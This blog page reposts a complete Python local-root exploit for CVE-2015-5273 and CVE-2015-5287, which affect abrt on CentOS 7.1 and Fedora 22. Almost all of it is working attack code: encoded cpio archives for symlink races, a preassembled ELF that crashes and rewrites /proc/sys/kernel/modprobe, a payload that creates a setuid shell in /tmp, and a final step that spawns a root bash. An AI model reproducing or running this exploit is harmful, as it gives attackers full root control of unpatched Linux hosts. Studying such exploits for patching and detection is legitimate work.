Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370663

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python
# CVE-2015-5273 + CVE-2015-5287
# CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too)
# abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage
# rebel 09/2015
# ----------------------------------------

# [user@localhost ~]$ id
# uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# [user@localhost ~]$ cat /etc/redhat-release 
# CentOS Linux release 7.1.1503 (Core) 
# [user@localhost ~]$ python abrt-centos-fedora.py
# -- lots of boring output, might take a while on a slow connection --
# /var/spool/abrt/abrt-hax-coredump created
# executing crashing process..
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


import time,os,datetime,sys,resource,socket


fedora = "Fedora" in open("/etc/redhat-release").read()

# mkdir dir1
# ln -s /var/spool/abrt dir1/hax
# mkdir dir2
# mkdir dir2/hax
# ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump
# cd dir1
# find . -depth -print | cpio -o > ../cpio1
# cd ../dir2
# find . -depth -print | cpio -o > ../cpio2

cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip")
cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip")

if fedora:
	cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt")

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"


# we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries
# and we can't control the contents of that region. on 32 bit binaries [stack] is at the end

# the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written
# to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp

elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip")

# most people don't have nasm installed so i preassembled it
# if you're not brave enough to run the preassembled file, here's the code :)

"""
; abrt-hax.asm
; nasm -f bin -o abrt-hax abrt-hax.asm
BITS 32
                org     0x08048000
ehdr:                                                 ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
        times 8 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx
  ehdrsize      equ     $ - ehdr
  phdr:                                                 ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      filesize                        ;   p_memsz
                dd      5                               ;   p_flags
                dd      0x1000                          ;   p_align
  phdrsize      equ     $ - phdr

_start:
inc esp
cmp dword [esp],0x706d742f
jne l
or esp,0xfff
inc esp
mov edx,500
l3:
mov ecx,msglen
mov ebx,message
sub esp,ecx
l2:
mov al,[ebx]
mov [esp],al
inc esp
inc ebx
loop l2
sub esp,msglen
dec edx
cmp edx,0
jne l3
mov eax,0x41414141
jmp eax
message         db      '////////tmp/hax.sh',0x0a,0
msglen          equ     $-message
"""



build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1]

os.chdir("/tmp")


open("build_ids","w+").write(build_id + "\n")

print build_id


def child():
	timestamp = int(time.time())

	for i in xrange(0,3):
		try:
			t = datetime.datetime.fromtimestamp(timestamp+i)
			d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid())
			os.mkdir(d)
			os.chmod(d,0777)
			os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio")
			print "created %s" % d
		except: pass

	os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y")

try:
	os.mkfifo("/var/tmp/haxfifo")
	os.chmod("/var/tmp/haxfifo",0666)
except:
	pass

def fifo(a):
	print "reading from fifo.."
	open("/var/tmp/haxfifo").read()
	print "done"

	print "writing to fifo.."
	open("/var/tmp/haxfifo","w+").write(a)
	print "done"

if os.fork() == 0: child()

print "first cpio..."
fifo(cpio1)

os.wait()
time.sleep(1)

if os.fork() == 0: child()
print "second cpio..."
fifo(cpio2)

os.wait()
time.sleep(1)

if fedora:
	sym = "/var/tmp/abrt/abrt-hax-coredump"
else:
	sym = "/var/spool/abrt/abrt-hax-coredump"

try:
	os.lstat(sym)
except:
	print "could not create symlink"
	sys.exit(-1)

print "%s created" % sym

open("/tmp/abrt-hax","w+").write(elf)
os.chmod("/tmp/abrt-hax",0755)

if os.fork() == 0:
	resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
	print "executing crashing process.."
	os.execle("/tmp/abrt-hax","",{})

os.wait()
time.sleep(1)	

if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
	print "could not modify /proc/sys/kernel/modprobe"
	sys.exit(-1)

open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)

try:
	socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except:
	pass

time.sleep(0.5)

try:
	os.stat("/tmp/sh")
except:
	print "could not create suid"
	sys.exit(-1)

print "success"

os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')